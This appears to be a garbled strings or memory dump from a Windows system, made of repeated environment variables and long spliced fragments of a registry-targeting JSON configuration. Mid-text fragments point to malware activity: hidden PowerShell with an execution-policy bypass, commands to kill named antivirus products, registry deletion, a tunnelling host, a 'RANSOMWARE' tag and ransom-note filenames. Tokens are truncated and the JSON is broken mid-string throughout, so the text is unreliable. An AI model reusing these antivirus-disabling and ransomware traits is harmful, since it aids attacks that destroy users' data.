ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData LOCALAPPDATA=C:\Users\job\AppData\Local NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\WINDOWS\TEMP TMP=C:\WINDOWS\TEMP USERNAME=SYSTEM USERPROFILE=C:\Users\job windir=C:\WINDOWS RSPROFILE=C:\ProgramData APPDATA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData LOCALAPPDATA=C:\Users\job\AppData\Local NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Progr_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\WINDOWS\TEMP TMP=C:\WINDOWS\TEMP USERNAME=SYSTEM USERPROFILE=C:\Users\job windir=C:\WINDOWS RSPROFILE=C:\ProgramData APPDATA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData LOCALAPPDATA=C:\Users\job\AppData\Local NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\WINDOWS\TEMP TMP=C:\WINDOWS\TEMP USERNAME=SYSTEM USERPROFILE=C:\Users\job windir=C:\WINDOWS RSPROFILE=C:\Progr powershel execution* licy bypas style hidde it_b eforf WINKILL ( " ealarm" )E Syman McAfe WINKILL ( "norton" ) avas Pand persk bitdef firewal poli REGDELET HKEY_LOCAL_MAC E\SOFTWA rosoft\W ows\Cu gcc.ex able gsEn .log 1@mz.ne Yknbhpsjkxiqrzvyzaovb ]58+/. $/hi -id keyb rentVersion\SystemR Softw \Polic \Windo nPrivilege ://ahmedsyamozo .exe 0.tcp.n r2.0_RANSOMWARE ld_PNG1275 3++S++ TWARE\PO tection he_Data\ Repositor LRPC-4cfdfce0064ef60ab e65f2d4 3a0f3d5 LRPC-4cfdfce0064ef60ab :AM:am YSTE grcl ja-JP_radst StateRepository oft\Windows\CurrentVe loud e\Schem bali INDOW dleEx-R- 3++S++ OneDrive Resume feature based on device region e2b-867a c532 experie with d offers device $comment region disabled $comment guid enabled disabled region guid enabled $comment $comment Manage Vega search in Windows Search Box {e0b9c4fb-0f29-4cd5-9ef1-a198cbe10a49} Make StartExperiencesApp uninstallable {dbfadcb8-0302-4de0-87be-4dfbb71950f9} {e2961891-e5ef-436a-b009-7801281c3fbf} {608ba944-62eb-4912-a873-127c8a68b98c} {c74bb959-f763-4b9b-9b14-6b312df2c937} {f3a8c2d4-5b7e-4c9a-8f3d-1e2b3c4d5e6f} {e32f3cd4-da4c-4c60-a302-05deb33c5254} {12c807e4-a5a4-4965-b980-531c108eb39e} {c8e6c136-c6d1-419c-919a-4f8935662914} Manage Recall Data Provision Dialog {fc5f578d-597b-47ee-8e0e-051cf79fb2c5} Manage Start Menu's Phone Link companion {d935674a-c417-4804-8b01-48d746af7a9e} {e7a1f3c4-9b2d-4f8a-8c3e-5d7f6a9b1c2e} {b1a7c9e2-3d4f-4a6b-8c9d-1a2b3c4d5e6f} {9679c1a3-b7b3-4789-87ea-5578f78fe900} {9a453b66-5ea7-4322-9aba-b054e914cc67} earch ublic earch ublic All File Is EncryptedReadMe.txt \RECUPERAR_ QUIVOS/.covcrypt.t ren c:\users\ name%\downloa pict RegValueType ValueName REG_DWORD ValueName RegValueType ValueName RegValueType RegValueType ValueName bled ValueName RegValueType ValueName REG_DWORD ValueName ValueName RegValueType ValueName RegValueType RegValueType REG_DWORD REG_DWORD ValueName REG_DWORD ValueName REG_DWORD onArp RegValueType ValueName REG_DWORD RegValueType REG_DWORD ValueName RegValueType REG_DWORD RegValueType REG_DWORD REG_DWORD RegValueType ValueName RegValueType REG_DWORD ValueName REG_DWORD RegValueType RegValueType RegValueType ValueName RegValueType RegValueType REG_DWORD ValueName REG_DWORD REG_DWORD ValueName ValueName REG_DWORD orScriptingPayload.json RegValueType ValueName RegValueType ValueName RegValueType REG_DWORD .json RegValueType REG_DWORD abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY UGIN_LOW VALU UGIN_MAX METH nHou ugin_Ord IONREPAI GIN_ NPLUGIN_ ONLY rogramDa Micr s\OneSet ENANCEMO ugin_Max rral ENT" "IrisCli ,"Ct "Dev hInterva rue, ":{" Windows\ Sett "Iri LIST":{" ner" ketO ist","St Refr ":"R {"FullPa "SOF gs": lueType" G_SZ eTyp E":{"Val me": "}," lueType" G_SZ onCh DWORD"}} "END ure" icrosoft e"," ,"Pa "Metadat "Dir ting }},"ENDP .MIT esho N","Stri fres "FIL ta%\\Mic ft\\ gSvc terStagi },"N data 319610}} NDPO cess pting"," ceTi Refr yloadHan ":"F soft Narrator ptin ner" e":"Open ","C AutomaticCorruptionRepairPlugin_ActionLimit RESETREPAIRPLUGIN_MAXMANUALREMEDIATIONATTEMPTS ionRepai gin_ \App NHOU n_MaxMan emed UGIN_INT TIVE N_MAXMAN EMED ugin_Int tive ugin_Int lInH ResetRepairPlugin_MaxManualRemediationAttempts ResetRepairPlugin_ManualRemediationCampaignId udedPubl rs": gVal udedFile :{"V Type \Microso Wind etti lPat tVer ":"M pe":"REG RD", Sett reBa REG_ Full ttings ACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\",\n \"ValueName\": \"NonSecurityRelease\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"NPU_DeviceId\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Class\\\\{f01a9d53-3ff6-48d2-9f97-c8a7004be10c}\\\\0000\",\n \"ValueName\": \"MatchingDeviceId\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"NPU_DriverVersion\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Class\\\\{f01a9d53-3ff6-48d2-9f97-c8a7004be10c}\\\\0000\",\n \"ValueName\": \"DriverVersion\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"NPUEnabledDevice\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows Media Foundation\\\\FrameServer\\\\WindowsCameraEffects\",\n \"ValueName\": \"EffectsCameraAvailable\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"OEMMode\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Office\\\\16.0\\\\Common\\\\OEM\",\n \"ValueName\": \"OOBEMode\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"OEMModelBaseBoard\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"HARDWARE\\\\DESCRIPTION\\\\System\\\\BIOS\",\n \"ValueName\": \"BaseBoardProduct\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"OemPartnerRing\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SYSTEM\\\\Platform\\\\DeviceTargetingInfo\",\n \"ValueName\": \"TargetRing\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"OEMSubModel\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"HARDWARE\\\\DESCRIPTION\\\\System\\\\BIOS\",\n \"ValueName\": \"SystemSKU\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"OobeNdupAcceptedTarget\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\geList\\\\MicrosoftWindows.Client.CBS_1000.26100.128.0_x64__cw5n1h2txyewy\",\n \"ValueName\": \"PackageStatus\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"Migrated_GatedFeature_NI22H2\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\MigratedMarkers\\\\TargetVersionUpgradeExperienceIndicators\\\\NI22H2\",\n \"ValueName\": \"GatedFeatureSingleString\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"Migrated_GatedFeature_NI22H2Setup\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\MigratedMarkers\\\\TargetVersionUpgradeExperienceIndicators\\\\NI22H2Setup\",\n \"ValueName\": \"GatedFeatureSingleString\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"MinWhcpVersion_Kernel\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\PnP\\\\DriverRestrictions\",\n \"ValueName\": \"MinWhcpVersion_Kernel\"\n },\n \"MinWhcpVersion_NotKernel\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\PnP\\\\DriverRestrictions\",\n \"ValueName\": \"MinWhcpVersion_NotKernel\"\n },\n \"MSRT_NO_AU\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Policies\\\\Microsoft\\\\MRT\",\n \"ValueName\": \"DontOfferThroughWUAU\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"MTPTargetingInfo\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SYSTEM\\\\Platform\\\\MTPTargetingInfo\",\n \"ValueName\": \"TargetRing\"\n },\n \"NDUP_FlightID\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\OOBE\\\\AppSettings\",\n \"ValueName\": \"NDUP_FlightID\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"NonSecurityUpdate\": {\n \"HKey\": \"HKEY_LOCAL_Mus\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\AppModel\\\\StateChange\\\\PackageList\\\\MicrosoftWindows.Client.CBS_1000.26100.121.0_arm64__cw5n1h2txyewy\",\n \"ValueName\": \"PackageStatus\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"MicrosoftWindows.Client.CBS_121_x64PackageStatus\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\AppModel\\\\StateChange\\\\PackageList\\\\MicrosoftWindows.Client.CBS_1000.26100.121.0_x64__cw5n1h2txyewy\",\n \"ValueName\": \"PackageStatus\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"MicrosoftWindows.Client.CBS_125_arm64PackageStatus\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\AppModel\\\\StateChange\\\\PackageList\\\\MicrosoftWindows.Client.CBS_1000.26100.125.0_arm64__cw5n1h2txyewy\",\n \"ValueName\": \"PackageStatus\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"MicrosoftWindows.Client.CBS_125_x64PackageStatus\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\AppModel\\\\StateChange\\\\PackageList\\\\MicrosoftWindows.Client.CBS_1000.26100.125.0_x64__cw5n1h2txyewy\",\n \"ValueName\": \"PackageStatus\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"MicrosoftWindows.Client.CBS_128_arm64PackageStatus\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\AppModel\\\\StateChange\\\\PackageList\\\\MicrosoftWindows.Client.CBS_1000.26100.128.0_arm64__cw5n1h2txyewy\",\n \"ValueName\": \"PackageStatus\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"MicrosoftWindows.Client.CBS_128_x64PackageStatus\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\AppModel\\\\StateChange\\\\Packa\",\n \"ValueName\": \"LaunchUserOOBE\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"LCUVer\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\",\n \"ValueName\": \"LCUVer\"\n },\n \"LenovoInstalledKey\": {\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\{A9861883-31C5-4324-BD9A-DC9527EEB675}_is1\",\n \"IfExists\": true\n },\n \"LenovoInstalledWowKey\": {\n \"FullPath\": \"SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\{A9861883-31C5-4324-BD9A-DC9527EEB675}_is1\",\n \"IfExists\": true\n },\n \"MalwarebytesInstalledKey\": {\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\{35065F43-4BB2-439A-BFF7-0F1014F2E0CD}_is1\",\n \"IfExists\": true\n },\n \"MalwarebytesInstalledWowKey\": {\n \"FullPath\": \"SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\{35065F43-4BB2-439A-BFF7-0F1014F2E0CD}_is1\",\n \"IfExists\": true\n },\n \"McAfeeInstalledKey\": {\n \"FullPath\": \"SOFTWARE\\\\McAfee\\\\MSC\\\\AppInfo\\\\Substitute\\\\QueryParams\",\n \"IfExists\": true\n },\n \"McAfeeInstalledWowKey\": {\n \"FullPath\": \"SOFTWARE\\\\WOW6432Node\\\\McAfee\\\\MSC\\\\AppInfo\\\\Substitute\\\\QueryParams\",\n \"IfExists\": true\n },\n \"MDE4WSLPluginReleaseRing\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Microsoft Defender for Endpoint plug-in for WSL\",\n \"ValueName\": \"ReleaseRing\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"MDEWSLPluginReleaseRing\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Lxss\\\\Plugins\\\\DefenderPlug-in\",\n \"ValueName\": \"ReleaseRing\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"MicrosoftWindows.Client.CBS_121_arm64PackageStat\Windows Advanced Threat Protection\\\\Status\",\n \"ValueName\": \"OnboardingState\"\n },\n \"K7InstalledKey\": {\n \"FullPath\": \"SOFTWARE\\\\K7 Computing\",\n \"IfExists\": true\n },\n \"K7InstalledWowKey\": {\n \"FullPath\": \"SOFTWARE\\\\WOW6432Node\\\\K7 Computing\",\n \"IfExists\": true\n },\n \"KasperskyInstalledKey\": {\n \"FullPath\": \"SOFTWARE\\\\KasperskyLab\",\n \"IfExists\": true\n },\n \"KasperskyInstalledWowKey\": {\n \"FullPath\": \"SOFTWARE\\\\WOW6432Node\\\\KasperskyLab\",\n \"IfExists\": true\n },\n \"KasperskyReg\": {\n \"FullPath\": \"System\\\\CurrentControlSet\\\\Services\\\\klhk\\\\Parameters\",\n \"ValueName\": \"UseVtHardware\"\n },\n \"KingsoftInstalledKey\": {\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\Kingsoft Internet Security\",\n \"IfExists\": true\n },\n \"KingsoftInstalledWowKey\": {\n \"FullPath\": \"SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\Kingsoft Internet Security\",\n \"IfExists\": true\n },\n \"KioskMode\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\AssignedAccessCsp\\\\AutoLogonAccount\",\n \"ValueName\": \"ConfigSource\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"KnownFoldersBackupStatus\": {\n \"HKey\": \"HKEY_CURRENT_USER\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\StorageProviderStatus\",\n \"ValueName\": \"OneDrive\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"LaunchOobeInEndUserSession\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\OOBE\",\n \"ValueName\": \"ContinueOobeInEnduserSession\"\n },\n \"LaunchUserOOBE\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\OOBEDiagTrack\\\\Partners\\\\IsFeedbackHubSelfhost\",\n \"IfExists\": true\n },\n \"IsFSOverlay\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\GlobMerger\",\n \"ValueName\": \"IsEnabled\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"IsHybridOrXGpu\": {\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\DirectX\",\n \"ValueName\": \"HybridDeviceApplicableForDxDbGpuPreferences\"\n },\ \"IsProcessorMo KEY_ gVal HKey\": \"HKEY_L rrentVersion\",\n \"ValueName\": \"EditionID\",\n \"RegValueType\" heme\": {\n Key\ "HKE \\Mi osoft\\\\Windows\\ rrentVersion\\\\Themes\",\n alue ghtThemeEnab eType\": \"REG_DWORD\"\n },\n \"UpdatePreference\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\",\n \"ValueName\": \"UpdatePreference\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"UpgEx_CO21H2RegFb\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\TargetVersionUpgradeExperienceIndicators\\\\CO21H2\",\n \"ValueName\": \"UpgEx\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"UpgradeAccepted\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\OOBE\\\\Updates\\\\\",\n \"ValueName\": \"UpgradeAccepted\",\n \"RegValueType\": \"REG_DWORD\",\n \"IfExists\": true\n },\n \"UpgradeEligible\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\",\n \"ValueName\": \"UpgradeEligible\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"UserInPlaceUpgrade\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\",\n \"ValueName\": \"UserInPlaceUpgrade\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"UsoScanMitigation\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\WindowsUpdate\\\\Orchestrator\\\\Mitigation\\\\\",\n \"ValueName\": \"UsoScanNotStartingMitigationCompleted\",\n \"RegValueType\": \"REG_DWORD\",\n \"IfExists\": true\n },\n \"UtcDataHandlingPolicies\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Diagnostics\\\\DiagTrack\",\n \"ValueName\": \"UtcDataHandlingPolicies\",\n \"RegValueType\": \"REG_QWORD\"\n },\n \"UUSVersion\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \\\Client\\\\Persistent\\\\ClientState\\\\FCON\",\n \"ValueName\": \"TestRing\"\n },\n \"ThreatTrackInstalledKey\": {\n \"FullPath\": \"SOFTWARE\\\\SBAMSvc\",\n \"IfExists\": true\n },\n \"ThreatTrackInstalledWowKey\": {\n \"FullPath\": \"SOFTWARE\\\\WOW6432Node\\\\SBAMSvc\",\n \"IfExists\": true\n },\n \"TimestampEpochString_CO21H2RegFb\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\TargetVersionUpgradeExperienceIndicators\\\\CO21H2\",\n \"ValueName\": \"TimestampEpochString\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"TrendInstalledKey\": {\n \"FullPath\": \"SOFTWARE\\\\TrendMicro\",\n \"IfExists\": true\n },\n \"TrendInstalledWowKey\": {\n \"FullPath\": \"SOFTWARE\\\\WOW6432Node\\\\TrendMicro\",\n \"IfExists\": true\n },\n \"UCPDCfg\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SYSTEM\\\\CurrentControlSet\\\\Services\\\\UCPD\\\\DR\",\n \"ValueName\": \"0000\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"UCPDFeature\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SYSTEM\\\\CurrentControlSet\\\\Services\\\\UCPD\",\n \"ValueName\": \"FeatureV2\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"UHSEnrolled\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\",\n \"ValueName\": \"UHSEnrolled\",\n \"RegValueType\": \"REG_SZ\",\n \"IfExists\": true\n },\n \"UninstallActive\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"System\\\\Setup\",\n \"ValueName\": \"UninstallActive\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"UpdateOfferedDays\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\WaaSAssessment\\\\Cache\\\\\",\n \"ValueName\": \"UpToDateDays\",\n \"RegValu\\\SystemInformation\",\n \"ValueName\": \"SystemManufacturer\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"SystemProductName\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\SystemInformation\",\n \"ValueName\": \"SystemProductName\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"TargetReleaseVersionGP\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\",\n \"ValueName\": \"TargetReleaseVersionInfo\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"TargetReleaseVersionMDM\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\PolicyManager\\\\current\\\\device\\\\Update\",\n \"ValueName\": \"TargetReleaseVersion\",\n \"RegValueType\": \"REG_SZ\"\n },\n \"TenantId\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\CloudDomainJoin\\\\JoinInfo\\\\*\",\n \"ValueName\": \"TenantId\"\n },\n \"TencentInstalledKey\": {\n \"FullPath\": \"SOFTWARE\\\\Tencent\\\\QQPCMgr\",\n \"IfExists\": true\n },\n \"TencentInstalledWowKey\": {\n \"FullPath\": \"SOFTWARE\\\\WOW6432Node\\\\Tencent\\\\QQPCMgr\",\n \"IfExists\": true\n },\n \"TencentReg\": {\n \"FullPath\": \"SYSTEM\\\\CurrentControlSet\\\\services\\\\TesSafe\",\n \"ValueName\": \"LoadStartTime\"\n },\n \"TencentType\": {\n \"FullPath\": \"SYSTEM\\\\CurrentControlSet\\\\services\\\\TesSafe\",\n \"ValueName\": \"Type\"\n },\n \"TestAllowedIDFlags\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\OOBE\\\\TestHooks\",\n \"ValueName\": \"TestAllowedIDFlags\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"TestRN\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Wosc\martActiveHoursState\",\n \"RegValueType\": \"REG_DWORD\"\n },\n \"SophosInstalledKey1\": {\n \"FullPath\": \"SYSTEM\\\\CurrentControlSet\\\\Services\\\\SAVService\",\n \"IfExists\": true\n },\n \"SophosInstalledKey2\": {\n \"FullPath\": \"SYSTEM\\\\CurrentControlSet\\\\Services\\\\hmpalertsvc\",\n \"IfExists\": true\n },\n \"StayOnWindows10Timestamp\": {\n \"HKey\": \"HKEY_LOCAL_MACHINE\",\n \"FullPath\": \"SOF E\\\\Microsoft\\ tings\",\n eam\":/ \n \"HKey\": \"HKEY AL_MACHINE/ ,\n \"FullPath\": 